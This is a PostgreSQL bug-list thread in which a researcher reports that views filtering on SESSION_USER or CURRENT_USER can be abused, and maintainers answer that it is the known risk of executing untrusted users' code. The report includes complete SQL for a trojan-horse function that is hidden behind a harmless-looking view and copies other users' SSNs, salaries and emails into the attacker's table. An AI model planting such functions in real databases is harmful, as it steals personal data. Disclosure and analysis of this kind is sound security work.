Обсуждение: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
The following bug has been logged online: Bug reference: 4074 Logged by: Lars Olson Email address: leolson1@uiuc.edu PostgreSQL version: 8.3.1 Operating system: Windows XP Description: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Details: Creating a view that depends on the value of SESSION_USER enables a minimally-privileged user to write a user-defined function that contains a trojan-horse to get arbitrary data from the base table. Using CURRENT_USER instead still enables a similar vulnerability. To reproduce the problem, create three users, alice (base table owner), bob (attacker), and carol (other minimally-privileged user). As Alice, create the following table and view: CREATE TABLE employee( name varchar(50) unique, ssn int, salary int, email varchar(30)); INSERT INTO employee VALUES('alice',123456789,70000,'alice@example.com'); INSERT INTO employee VALUES('bob',234567890,70000,'bob@example.com'); INSERT INTO employee VALUES('carol',345678901,70000,'carol@example.com'); CREATE VIEW employee_view AS SELECT * FROM employee WHERE name=SESSION_USER; GRANT SELECT ON employee_view TO bob,carol; At this point, Bob and Carol should both be able to access their own employee data by executing SELECT * FROM employee_view; but not each other's data. As Bob, create the following tables, function, and view: CREATE TABLE picnic( username varchar(50), assignment varchar(50)); INSERT INTO picnic VALUES('alice','chips'); INSERT INTO picnic VALUES('bob','drinks'); INSERT INTO picnic VALUES('carol','salad'); CREATE TABLE employee_leaked_data( username varchar(50) unique, ssn int, salary int, email varchar(30)); CREATE FUNCTION leakInfo() RETURNS BOOLEAN AS $$ DECLARE name1 varchar(50); ssn1 int; salary1 int; email1 varchar(50); BEGIN FOR name1, ssn1, salary1, email1 IN SELECT * FROM employee_view LOOP BEGIN INSERT INTO employee_leaked_data VALUES (name1, ssn1, salary1, email1); EXCEPTION WHEN unique_violation THEN UPDATE employee_leaked_data SET ssn=ssn1, salary=salary1, email=email1 WHERE name=name1; END; END LOOP; RETURN true; END; $$ LANGUAGE plpgsql SECURITY DEFINER; CREATE VIEW picnic_view AS SELECT * FROM picnic WHERE leakInfo(); GRANT SELECT ON picnic_view TO alice, carol; As Carol, query Bob's table: SELECT * FROM picnic_view; Bob can now view Carol's employee information: SELECT * FROM employee_leaked_data; If Alice uses CURRENT_USER instead of SESSION_USER, Bob can still execute a similar attack if he defines function leakInfo() with SECURITY INVOKER instead of SECURITY DEFINER, and then grants privileges on employee_leaked_data: GRANT SELECT,INSERT,UPDATE ON employee_leaked_data TO alice, carol; In this case, Alice and Carol might be able to notice the existence of this table and detect the information leakage, however the data could be obfuscated or even encrypted to counter this. It's difficult to say exactly how such a problem should be fixed. Clearly a simple solution is that SESSION_USER and CURRENT_USER should not be used for evaluating view conditions, and perhaps this should be added to the documentation. This is highly related to a paper I am preparing for a security conference that I am submitting in two weeks. Sorry about the short notice, I only just thought of this problem yesterday. I would like to use this as an example in my paper, but I will not do so without PostgreSQL's permission. Please advise.
Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
От
Heikki Linnakangas
Дата:
Lars Olson wrote: > Creating a view that depends on the value of SESSION_USER enables a > minimally-privileged user to write a user-defined function that contains a > trojan-horse to get arbitrary data from the base table. Using CURRENT_USER > instead still enables a similar vulnerability. > > To reproduce the problem, create three users, alice (base table owner), bob > (attacker), and carol (other minimally-privileged user). As Alice, create > the following table and view: > ... This seems to be an instance of the general trojan-horse problem discussed here: http://archives.postgresql.org/pgsql-hackers/2008-01/msg00268.php In a nutshell, it's just not safe to access a view or function owned by a user you don't trust. :-( -- Heikki Linnakangas EnterpriseDB http://www.enterprisedb.com
"Lars Olson" <leolson1@uiuc.edu> writes: > Creating a view that depends on the value of SESSION_USER enables a > minimally-privileged user to write a user-defined function that contains a > trojan-horse to get arbitrary data from the base table. This example proves nothing except that you shouldn't execute untrusted code --- Carol gave up her data by willingly executing Bob's function. I don't think that the use of SESSION_USER is particularly to blame. There are certainly any number of other ways Bob could have abused her trust here. > This is highly related to a paper I am preparing for a security conference > that I am submitting in two weeks. Sorry about the short notice, I only > just thought of this problem yesterday. I would like to use this as an > example in my paper, but I will not do so without PostgreSQL's permission. > Please advise. If this were a security issue, you already spilled the beans by reporting it to a public mailing list; so I'm unsure what you are concerned about. regards, tom lane
Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
От
"Dave Page"
Дата:
On Mon, Mar 31, 2008 at 10:46 PM, Tom Lane <tgl@sss.pgh.pa.us> wrote: > If this were a security issue, you already spilled the beans by > reporting it to a public mailing list; so I'm unsure what you are > concerned about. I'd wager that Lars didn't realise the bug form goes straight to the list. We should probably make that more clear. On the other hand it does say to report security issues to security@... -- Dave Page EnterpriseDB UK Ltd: http://www.enterprisedb.com PostgreSQL UK 2008 Conference: http://www.postgresql.org.uk
Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
От
Alvaro Herrera
Дата:
Dave Page wrote: > On Mon, Mar 31, 2008 at 10:46 PM, Tom Lane <tgl@sss.pgh.pa.us> wrote: > > If this were a security issue, you already spilled the beans by > > reporting it to a public mailing list; so I'm unsure what you are > > concerned about. > > I'd wager that Lars didn't realise the bug form goes straight to the > list. We should probably make that more clear. > > On the other hand it does say to report security issues to security@... Let's have a checkbox "I am reporting a security issue" and send the mail to security@ if checked. -- Alvaro Herrera http://www.CommandPrompt.com/ The PostgreSQL Company - Command Prompt, Inc.